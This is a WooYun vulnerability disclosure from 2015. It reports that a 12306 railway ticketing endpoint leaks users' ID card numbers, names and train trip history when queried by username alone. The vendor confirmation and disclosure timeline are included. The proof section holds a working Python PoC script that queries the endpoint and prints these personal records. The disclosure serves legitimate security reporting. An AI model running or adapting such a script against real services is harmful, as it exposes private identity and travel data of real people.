当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135483

漏洞标题:12306用户乘车记录/身份证信息/姓名可任意匿名查询(附POC)

相关厂商:12306

漏洞作者: anonymer

提交时间:2015-08-20 10:20

修复时间:2015-10-04 11:28

公开时间:2015-10-04 11:28

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-30: 细节向核心白帽子及相关领域专家公开
2015-09-09: 细节向普通白帽子公开
2015-09-19: 细节向实习白帽子公开
2015-10-04: 细节向公众公开

简要描述:

12306某处在知道用户信息的情况下,可以查询任意用户最近一个月的乘车记录

详细说明:

123.png


漏洞证明:

附上POC (不要构造Cookie)
usage: python 12306poc.py username
result:
身份证号码 姓名 出发站 到达站 日期

#coding:utf-8
import argparse
import requests
import json
url='http://dynamic.12306.cn/surweb/registAction.do?method=queryTakeTrainInfo'
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)'}
def get_username():
parser = argparse.ArgumentParser()
parser.add_argument('username',help='username of 12306')
args=parser.parse_args()
return args.username
if __name__=='__main__':
uname=get_username()
if uname:
data={'userName':uname}
reso=requests.post(url,headers=headers,data=data)
res=reso.content
if res.find('resultData')>0:
jsono=json.loads(res)
for x in jsono['resultData']:
info=x['info'].split('##1##')
print info[0],'\t',info[1],'\t',x['from_station_name'],'\t',x['to_station_name'],'\t',x['train_date']
else:
print 'no data'


111.png


2.jpg

修复方案:

过滤敏感信息

版权声明:转载请注明来源 anonymer@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-08-20 11:27

厂商回复:

谢谢

最新状态:

暂无